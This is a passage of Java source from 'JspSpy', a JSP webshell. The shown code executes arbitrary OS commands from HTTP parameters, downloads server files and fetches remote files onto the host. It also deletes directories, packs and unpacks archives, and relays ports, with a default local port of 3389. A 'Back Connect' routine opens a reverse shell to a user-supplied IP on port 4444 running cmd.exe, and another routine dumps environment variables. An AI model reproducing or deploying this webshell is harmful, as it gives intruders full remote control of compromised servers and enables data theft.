  1430. private static class ShellInvoker extends DefaultInvoker{
  1431. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1432. try {
  1433. PrintWriter out = response.getWriter();
  1434. String type = request.getParameter("type");
  1435. if (type.equals("command")) {
  1436. ins.get("vs").invoke(request,response,JSession);
  1437. out.println("<div style='margin:10px'><hr/>");
  1438. out.println("<pre>");
  1439. String command = request.getParameter("command");
  1440. if (!Util.isEmpty(command)) {
  1441. Process pro = Runtime.getRuntime().exec(command);
  1442. BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  1443. String s = reader.readLine();
  1444. while (s != null) {
  1445. out.println(Util.htmlEncode(Util.getStr(s)));
  1446. s = reader.readLine();
  1447. }
  1448. reader.close();
  1449. out.println("</pre></div>");
  1450. }
  1451. } else {
  1452. String program = request.getParameter("program");
  1453. if (!Util.isEmpty(program)) {
  1454. Process pro = Runtime.getRuntime().exec(program);
  1455. JSession.setAttribute(MSG,"Program Has Run Success!");
  1456. ins.get("vs").invoke(request,response,JSession);
  1457. }
  1458. }
  1459. } catch (Exception e) {
  1460. e.printStackTrace();
  1461. throw e ;
  1462. }
  1463. }
  1464. }
  1465. private static class DownInvoker extends DefaultInvoker{
  1466. public boolean doBefore(){return false;}
  1467. public boolean doAfter(){return false;}
  1468. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1469. try {
  1470. String path = request.getParameter("path");
  1471. if (Util.isEmpty(path))
  1472. return;
  1473. File f = new File(path);
  1474. if (!f.exists())
  1475. return;
  1476. response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET));
  1477. BufferedInputStream input = new BufferedInputStream(new FileInputStream(f));
  1478. BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
  1479. byte[] data = new byte[1024];
  1480. int len = input.read(data);
  1481. while (len != -1) {
  1482. output.write(data,0,len);
  1483. len = input.read(data);
  1484. }
  1485. input.close();
  1486. output.close();
  1487. } catch (Exception e) {
  1488. e.printStackTrace();
  1489. throw e ;
  1490. }
  1491. }
  1492. }
  1493. //VDown
  1494. private static class VdInvoker extends DefaultInvoker {
  1495. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1496. try {
  1497. PrintWriter out = response.getWriter();
  1498. String savepath = request.getParameter("savepath");
  1499. String url = request.getParameter("url");
  1500. if (Util.isEmpty(url))
  1501. url = "http://www.forjj.com/";
  1502. if (Util.isEmpty(savepath)) {
  1503. savepath = JSession.getAttribute(CURRENT_DIR).toString();
  1504. }
  1505. if (!Util.isEmpty(JSession.getAttribute("done"))) {
  1506. Util.outMsg(out,"Download Remote File Success!");
  1507. JSession.removeAttribute("done");
  1508. }
  1509. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1510. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1511. "<h2>Remote File DownLoad &raquo;</h2>"+
  1512. "<p>"+
  1513. "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
  1514. "Remote File URL:"+
  1515. " <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"70\" />"+
  1516. "Save Path:"+
  1517. "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"70\" />"+
  1518. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
  1519. "</p>"+
  1520. "</form></table>");
  1521. } catch (Exception e) {
  1522. e.printStackTrace();
  1523. throw e ;
  1524. }
  1525. }
  1526. }
  1527. private static class DownRemoteInvoker extends DefaultInvoker {
  1528. public boolean doBefore(){return true;}
  1529. public boolean doAfter(){return true;}
  1530. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1531. try {
  1532. String downFileUrl = request.getParameter("url");
  1533. String savePath = request.getParameter("savepath");
  1534. if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  1535. return;
  1536. URL downUrl = new URL(downFileUrl);
  1537. URLConnection conn = downUrl.openConnection();
  1538. BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
  1539. BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath)));
  1540. byte[] data = new byte[1024];
  1541. int len = in.read(data);
  1542. while (len != -1) {
  1543. out.write(data,0,len);
  1544. len = in.read(data);
  1545. }
  1546. in.close();
  1547. out.close();
  1548. JSession.setAttribute("done","d");
  1549. ins.get("vd").invoke(request,response,JSession);
  1550. } catch (Exception e) {
  1551. e.printStackTrace();
  1552. throw e ;
  1553. }
  1554. }
  1555. }
  1556. private static class IndexInvoker extends DefaultInvoker {
  1557. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1558. try {
  1559. ins.get("filelist").invoke(request,response,JSession);
  1560. } catch (Exception e) {
  1561. e.printStackTrace();
  1562. throw e ;
  1563. }
  1564. }
  1565. }
  1566. private static class MkDirInvoker extends DefaultInvoker {
  1567. public boolean doBefore(){return false;}
  1568. public boolean doAfter(){return false;}
  1569. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1570. try {
  1571. String name = request.getParameter("name");
  1572. File f = new File(name);
  1573. if (!f.isAbsolute()) {
  1574. String path = JSession.getAttribute(CURRENT_DIR).toString();
  1575. if (!path.endsWith("/"))
  1576. path += "/";
  1577. path += name;
  1578. f = new File(path);
  1579. }
  1580. f.mkdirs();
  1581. JSession.setAttribute(MSG,"Make Directory Success!");
  1582. response.sendRedirect(SHELL_NAME+"?o=index");
  1583. } catch (Exception e) {
  1584. e.printStackTrace();
  1585. throw e ;
  1586. }
  1587. }
  1588. }
  1589. private static class MoveInvoker extends DefaultInvoker {
  1590. public boolean doBefore(){return false;}
  1591. public boolean doAfter(){return false;}
  1592. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1593. try {
  1594. PrintWriter out = response.getWriter();
  1595. String src = request.getParameter("src");
  1596. String target = request.getParameter("to");
  1597. if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  1598. File file = new File(src);
  1599. if(file.renameTo(new File(target))) {
  1600. JSession.setAttribute(MSG,"Move File Success!");
  1601. } else {
  1602. String msg = "Move File Failed!";
  1603. if (file.isDirectory()) {
  1604. msg += "The Move Will Failed When The Directory Is Not Empty.";
  1605. }
  1606. JSession.setAttribute(MSG,msg);
  1607. }
  1608. response.sendRedirect(SHELL_NAME+"?o=index");
  1609. }
  1610. } catch (Exception e) {
  1611. e.printStackTrace();
  1612. throw e ;
  1613. }
  1614. }
  1615. }
  1616. private static class RemoteDirInvoker extends DefaultInvoker {
  1617. public boolean doBefore(){return false;}
  1618. public boolean doAfter(){return false;}
  1619. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1620. try {
  1621. String dir = request.getParameter("dir");
  1622. File file = new File(dir);
  1623. if (file.exists()) {
  1624. deleteFile(file);
  1625. deleteDir(file);
  1626. }
  1627.  
  1628. JSession.setAttribute(MSG,"Remove Directory Success!");
  1629. response.sendRedirect(SHELL_NAME+"?o=index");
  1630. } catch (Exception e) {
  1631. e.printStackTrace();
  1632. throw e ;
  1633. }
  1634. }
  1635. public void deleteFile(File f) {
  1636. if (f.isFile()) {
  1637. f.delete();
  1638. }else {
  1639. File[] list = f.listFiles();
  1640. for (File ff:list) {
  1641. deleteFile(ff);
  1642. }
  1643. }
  1644. }
  1645. public void deleteDir(File f) {
  1646. File[] list = f.listFiles();
  1647. if (list.length == 0) {
  1648. f.delete();
  1649. } else {
  1650. for (File ff:list) {
  1651. deleteDir(ff);
  1652. }
  1653. deleteDir(f);
  1654. }
  1655. }
  1656. }
  1657. private static class PackBatchInvoker extends DefaultInvoker{
  1658. public boolean doBefore(){return false;}
  1659. public boolean doAfter(){return false;}
  1660. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1661. try {
  1662. String files = request.getParameter("files");
  1663. if (Util.isEmpty(files))
  1664. return;
  1665. String saveFileName = request.getParameter("savefilename");
  1666. File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  1667. if (saveF.exists()) {
  1668. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  1669. response.sendRedirect(SHELL_NAME+"?o=index");
  1670. return;
  1671. }
  1672. ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  1673. String[] arr = files.split(",");
  1674. for (String f:arr) {
  1675. File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
  1676. ZipEntry entry = new ZipEntry(pF.getName());
  1677. zout.putNextEntry(entry);
  1678. FileInputStream fInput = new FileInputStream(pF);
  1679. int len = 0;
  1680. byte[] buf = new byte[1024];
  1681. while ((len = fInput.read(buf)) != -1) {
  1682. zout.write(buf, 0, len);
  1683. zout.flush();
  1684. }
  1685. fInput.close();
  1686. }
  1687. zout.close();
  1688. JSession.setAttribute(MSG,"Pack Files Success!");
  1689. response.sendRedirect(SHELL_NAME+"?o=index");
  1690. } catch (Exception e) {
  1691. e.printStackTrace();
  1692. throw e;
  1693. }
  1694. }
  1695. }
  1696. private static class PackInvoker extends DefaultInvoker {
  1697. public boolean doBefore(){return false;}
  1698. public boolean doAfter(){return false;}
  1699. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1700. try {
  1701. String packedFile = request.getParameter("packedfile");
  1702. if (Util.isEmpty(packedFile))
  1703. return;
  1704. String saveFileName = request.getParameter("savefilename");
  1705. File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  1706. if (saveF.exists()) {
  1707. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  1708. response.sendRedirect(SHELL_NAME+"?o=index");
  1709. return;
  1710. }
  1711. File pF = new File(packedFile);
  1712. ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  1713. String base = "";
  1714. if (pF.isDirectory()) {
  1715. zipDir(pF,base,zout);
  1716. } else {
  1717. zipFile(pF,base,zout);
  1718. }
  1719. zout.close();
  1720. JSession.setAttribute(MSG,"Pack File Success!");
  1721. response.sendRedirect(SHELL_NAME+"?o=index");
  1722. } catch (Exception e) {
  1723. e.printStackTrace();
  1724. throw e;
  1725. }
  1726. }
  1727. public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
  1728. if (f.isDirectory()) {
  1729. File[] arr = f.listFiles();
  1730. for (File ff:arr) {
  1731. String tmpBase = base;
  1732. if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  1733. tmpBase += "/";
  1734. zipDir(ff,tmpBase+f.getName(),zout);
  1735. }
  1736. } else {
  1737. String tmpBase = base;
  1738. if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
  1739. tmpBase += "/";
  1740. zipFile(f,tmpBase,zout);
  1741. }
  1742. }
  1743. public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
  1744. ZipEntry entry = new ZipEntry(base+f.getName());
  1745. zout.putNextEntry(entry);
  1746. FileInputStream fInput = new FileInputStream(f);
  1747. int len = 0;
  1748. byte[] buf = new byte[1024];
  1749. while ((len = fInput.read(buf)) != -1) {
  1750. zout.write(buf, 0, len);
  1751. zout.flush();
  1752. }
  1753. fInput.close();
  1754. }
  1755. }
  1756. private static class UnPackInvoker extends DefaultInvoker {
  1757. public boolean doBefore(){return false;}
  1758. public boolean doAfter(){return false;}
  1759. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1760. try {
  1761. String savepath = request.getParameter("savepath");
  1762. String zipfile = request.getParameter("zipfile");
  1763. if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  1764. return;
  1765. File save = new File(savepath);
  1766. save.mkdirs();
  1767. ZipFile file = new ZipFile(new File(zipfile));
  1768. Enumeration e = file.entries();
  1769. while (e.hasMoreElements()) {
  1770. ZipEntry en = (ZipEntry) e.nextElement();
  1771. String entryPath = en.getName();
  1772. int index = entryPath.lastIndexOf("/");
  1773. if (index != -1)
  1774. entryPath = entryPath.substring(0,index);
  1775. File absEntryFile = new File(save,entryPath);
  1776. if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
  1777. absEntryFile.mkdirs();
  1778. BufferedOutputStream output = null;
  1779. BufferedInputStream input = null;
  1780. try {
  1781. output = new BufferedOutputStream(
  1782. new FileOutputStream(new File(save,en.getName())));
  1783. input = new BufferedInputStream(
  1784. file.getInputStream(en));
  1785. byte[] b = new byte[1024];
  1786. int len = input.read(b);
  1787. while (len != -1) {
  1788. output.write(b, 0, len);
  1789. len = input.read(b);
  1790. }
  1791. } catch (Exception ex) {
  1792. } finally {
  1793. try {
  1794. if (output != null)
  1795. output.close();
  1796. if (input != null)
  1797. input.close();
  1798. } catch (Exception ex1) {
  1799. }
  1800. }
  1801. }
  1802. file.close();
  1803. JSession.setAttribute(MSG,"Unzip File Success!");
  1804. response.sendRedirect(SHELL_NAME+"?o=index");
  1805. } catch (Exception e) {
  1806. e.printStackTrace();
  1807. throw e ;
  1808. }
  1809. }
  1810. }
  1811. //VMapPort
  1812. private static class VmpInvoker extends DefaultInvoker {
  1813. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1814. try {
  1815. PrintWriter out = response.getWriter();
  1816. Object localIP = JSession.getAttribute("localIP");
  1817. Object localPort = JSession.getAttribute("localPort");
  1818. Object remoteIP = JSession.getAttribute("remoteIP");
  1819. Object remotePort = JSession.getAttribute("remotePort");
  1820. Object done = JSession.getAttribute("done");
  1821.  
  1822. JSession.removeAttribute("localIP");
  1823. JSession.removeAttribute("localPort");
  1824. JSession.removeAttribute("remoteIP");
  1825. JSession.removeAttribute("remotePort");
  1826. JSession.removeAttribute("done");
  1827.  
  1828. if (Util.isEmpty(localIP))
  1829. localIP = InetAddress.getLocalHost().getHostAddress();
  1830. if (Util.isEmpty(localPort))
  1831. localPort = "3389";
  1832. if (Util.isEmpty(remoteIP))
  1833. remoteIP = "www.forjj.com";
  1834. if (Util.isEmpty(remotePort))
  1835. remotePort = "80";
  1836. if (!Util.isEmpty(done))
  1837. Util.outMsg(out,done.toString());
  1838.  
  1839. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  1840. "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
  1841. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  1842. " <tr>"+
  1843. " <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;</h2>"+
  1844. " <div id=\"hOWTm\">"+
  1845. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  1846. " <tr align=\"center\">"+
  1847. " <td style=\"width:5%\"></td>"+
  1848. " <td style=\"width:20%\" align=\"left\">Local Ip :"+
  1849. " <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
  1850. " </td>"+
  1851. " <td style=\"width:20%\" align=\"left\">Local Port :"+
  1852. " <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
  1853. " <td style=\"width:20%\" align=\"left\">Remote Ip :"+
  1854. " <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
  1855. " <td style=\"width:20%\" align=\"left\">Remote Port :"+
  1856. " <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
  1857. " </tr>"+
  1858. " <tr align=\"center\">"+
  1859. " <td colspan=\"5\"><br/>"+
  1860. " <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
  1861. " <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
  1862. " </td>"+
  1863. " </tr>"+
  1864. " </table>"+
  1865. " </div>"+
  1866. "</td>"+
  1867. "</tr>"+
  1868. "</table>"+
  1869. "</form>");
  1870. } catch (Exception e) {
  1871. e.printStackTrace();
  1872. throw e ;
  1873. }
  1874. }
  1875. }
  1876. //StopMapPort
  1877. private static class SmpInvoker extends DefaultInvoker {
  1878. public boolean doAfter(){return true;}
  1879. public boolean doBefore(){return true;}
  1880. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1881. try {
  1882. Object obj = JSession.getAttribute(PORT_MAP);
  1883. if (obj != null) {
  1884. ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
  1885. server.close();
  1886. }
  1887. JSession.setAttribute("done","Stop Success!");
  1888. ins.get("vmp").invoke(request,response,JSession);
  1889. } catch (Exception e) {
  1890. e.printStackTrace();
  1891. throw e ;
  1892. }
  1893. }
  1894. }
  1895. private static class MapPortInvoker extends DefaultInvoker {
  1896. public boolean doBefore(){return false;}
  1897. public boolean doAfter(){return false;}
  1898. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1899. try {
  1900. PrintWriter out = response.getWriter();
  1901. String localIP = request.getParameter("localIP");
  1902. String localPort = request.getParameter("localPort");
  1903. final String remoteIP = request.getParameter("remoteIP");
  1904. final String remotePort = request.getParameter("remotePort");
  1905. if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  1906. return;
  1907. Object obj = JSession.getAttribute(PORT_MAP);
  1908. if (obj != null) {
  1909. ServerSocket s = (ServerSocket)obj;
  1910. s.close();
  1911. }
  1912. final ServerSocket server = new ServerSocket();
  1913. server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
  1914. JSession.setAttribute(PORT_MAP,server);
  1915. new Thread(new Runnable(){
  1916. public void run(){
  1917. while (true) {
  1918. Socket soc = null;
  1919. Socket remoteSoc = null;
  1920. DataInputStream remoteIn = null;
  1921. DataOutputStream remoteOut = null;
  1922. DataInputStream localIn = null;
  1923. DataOutputStream localOut = null;
  1924. try{
  1925. soc = server.accept();
  1926. remoteSoc = new Socket();
  1927. remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
  1928. remoteIn = new DataInputStream(remoteSoc.getInputStream());
  1929. remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
  1930. localIn = new DataInputStream(soc.getInputStream());
  1931. localOut = new DataOutputStream(soc.getOutputStream());
  1932. this.readFromLocal(localIn,remoteOut);
  1933. this.readFromRemote(soc,remoteSoc,remoteIn,localOut);
  1934. }catch(Exception ex)
  1935. {
  1936. break;
  1937. }
  1938. }
  1939. }
  1940. public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
  1941. new Thread(new Runnable(){
  1942. public void run(){
  1943. while (true) {
  1944. try{
  1945. byte[] data = new byte[100];
  1946. int len = localIn.read(data);
  1947. while (len != -1) {
  1948. remoteOut.write(data,0,len);
  1949. len = localIn.read(data);
  1950. }
  1951. }catch (Exception e) {
  1952. break;
  1953. }
  1954. }
  1955. }
  1956. }).start();
  1957. }
  1958. public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
  1959. new Thread(new Runnable(){
  1960. public void run(){
  1961. while(true) {
  1962. try{
  1963. byte[] data = new byte[100];
  1964. int len = remoteIn.read(data);
  1965. while (len != -1) {
  1966. localOut.write(data,0,len);
  1967. len = remoteIn.read(data);
  1968. }
  1969. }catch (Exception e) {
  1970. try{
  1971. soc.close();
  1972. remoteSoc.close();
  1973. }catch(Exception ex) {
  1974. }
  1975. break;
  1976. }
  1977. }
  1978. }
  1979. }).start();
  1980. }
  1981. }).start();
  1982. JSession.setAttribute("done","Map Port Success!");
  1983. JSession.setAttribute("localIP",localIP);
  1984. JSession.setAttribute("localPort",localPort);
  1985. JSession.setAttribute("remoteIP",remoteIP);
  1986. JSession.setAttribute("remotePort",remotePort);
  1987. response.sendRedirect(SHELL_NAME+"?o=vmp");
  1988. } catch (Exception e) {
  1989. e.printStackTrace();
  1990. throw e ;
  1991. }
  1992. }
  1993. }
  1994. //VBackConnect
  1995. private static class VbcInvoker extends DefaultInvoker {
  1996. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1997. try {
  1998. PrintWriter out = response.getWriter();
  1999. Object ip = JSession.getAttribute("ip");
  2000. Object port = JSession.getAttribute("port");
  2001. Object program = JSession.getAttribute("program");
  2002. Object done = JSession.getAttribute("done");
  2003. JSession.removeAttribute("ip");
  2004. JSession.removeAttribute("port");
  2005. JSession.removeAttribute("program");
  2006. JSession.removeAttribute("done");
  2007. if (Util.isEmpty(ip))
  2008. ip = request.getRemoteAddr();
  2009. if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  2010. port = "4444";
  2011. if (Util.isEmpty(program))
  2012. program = "cmd.exe";
  2013. if (!Util.isEmpty(done))
  2014. Util.outMsg(out,done.toString());
  2015. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2016. "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
  2017. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2018. " <tr>"+
  2019. " <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
  2020. " <div id=\"hOWTm\">"+
  2021. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2022. " <tr align=\"center\">"+
  2023. " <td style=\"width:5%\"></td>"+
  2024. " <td align=\"center\">Your Ip :"+
  2025. " <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
  2026. " Your Port :"+
  2027. " <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
  2028. " <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
  2029. " </tr>"+
  2030. " <tr align=\"center\">"+
  2031. " <td colspan=\"2\"><br/>"+
  2032. " <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
  2033. " </td>"+
  2034. " </tr>"+
  2035. " </table>"+
  2036. " </div>"+
  2037. "</td>"+
  2038. "</tr>"+
  2039. "</table>"+
  2040. "</form>");
  2041. } catch (Exception e) {
  2042. e.printStackTrace();
  2043. throw e ;
  2044. }
  2045. }
  2046. }
  2047. private static class BackConnectInvoker extends DefaultInvoker {
  2048. public boolean doAfter(){return false;}
  2049. public boolean doBefore(){return false;}
  2050. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2051. try {
  2052. String ip = request.getParameter("ip");
  2053. String port = request.getParameter("port");
  2054. String program = request.getParameter("program");
  2055. if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
  2056. return;
  2057. Socket socket = new Socket(ip,Integer.parseInt(port));
  2058. Process process = Runtime.getRuntime().exec(program);
  2059. (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
  2060. (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
  2061. JSession.setAttribute("done","Back Connect Success!");
  2062. JSession.setAttribute("ip",ip);
  2063. JSession.setAttribute("port",port);
  2064. JSession.setAttribute("program",program);
  2065. response.sendRedirect(SHELL_NAME+"?o=vbc");
  2066. } catch (Exception e) {
  2067. e.printStackTrace();
  2068. throw e ;
  2069. }
  2070. }
  2071. }
  2072. private static class JspEnvInvoker extends DefaultInvoker {
  2073. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2074. try {
  2075. PrintWriter out = response.getWriter();
  2076. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2077. " <tr>"+
  2078. " <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
  2079. " <div id=\"ghaB\">"+
  2080. " <hr style=\" border: 1px solid #ddd;height:0px;\"/>"+
  2081. " <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2082. Properties pro = System.getProperties();
  2083. Enumeration names = pro.propertyNames();
  2084. while (names.hasMoreElements()){
  2085. String name = (String)names.nextElement();
  2086. out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
  2087. }
  2088. out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr style=\" border: 1px solid #ddd;height:0px;\"/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2089. Map<String,String> envs = System.getenv();
  2090. Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  2091. for (Map.Entry<String,String> en:entrySet) {
  2092. out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  2093. }
  2094. out.println("</ul></div></td>"+
  2095. " </tr>"+
  2096. " </table>");
  2097. } catch (Exception e) {
  2098. e.printStackTrace();
  2099. throw e ;
  2100. }
  2101. }
  2102. }
  2103. private static class TopInvoker extends DefaultInvoker {
  2104. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2105. try {
  2106. PrintWriter out = response.getWriter();
  2107. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
  2108. "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
  2109. " <tr class=\"head\">"+
  2110. " <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2009</a></span>"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")</td>"+
  2111. " </tr>"+
  2112. " <tr class=\"alt1\">"+
  2113. " <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
  2114. " <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
  2115. " <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
  2116. " <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
  2117. " <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
  2118. " <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
  2119. " <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
  2120. " <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
  2121. " <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
  2122. " <a href=\"javascript:doPost({o:'vRemoteControl'});\">Remote Control</a> | "+
  2123. " <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
  2124. " <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
  2125. " </tr>"+
  2126. "</table>");
  2127. if (JSession.getAttribute(MSG) != null) {
  2128. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  2129. JSession.removeAttribute(MSG);
  2130. }
  2131. } catch (Exception e) {
  2132. e.printStackTrace();
  2133. throw e ;
  2134. }
  2135. }
  2136. }
  2137. private static class VOnLineShellInvoker extends DefaultInvoker {
  2138. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2139. try {
  2140. PrintWriter out = response.getWriter();
  2141. out.println("<script>"+
  2142. " function $(id) {"+
  2143. " return document.getElementById(id);"+
  2144. " }"+
  2145. " var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
  2146. " window.onload = function(){"+
  2147. " setInterval(function(){"+
  2148. " if ($(\"autoscroll\").checked)"+
  2149. " {"+
  2150. " var f = window.frames[\"echo\"];"+
  2151. " if (f && f.document && f.document.body)"+
  2152. " {"+
  2153. " if (!ie)"+
  2154. " {"+
  2155. " if (f.document.body.offsetHeight)"+
  2156. " {"+
  2157. " f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
  2158. " }"+
  2159. " } else {"+
  2160. " f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
  2161. " }"+
  2162. " }"+
  2163. " }"+
  2164. " },500);"+
  2165. " }"+
  2166. " </script>");
  2167. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2168. " <tr>"+
  2169. " <td>");
  2170. out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  2171. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
  2172. " <input type=\"submit\" value=\" start \" class=\"bt\">"+
  2173. " <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\"c:\\windows\\system32\\cmd.exe\"/>"+
  2174. " <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo</span>"+
  2175. " </form>"+
  2176. " <hr/>"+
  2177. " <iframe class=\"secho\" name=\"echo\" src=\"\">"+
  2178. " </iframe>"+
  2179. " <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
  2180. " <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:80%\">"+
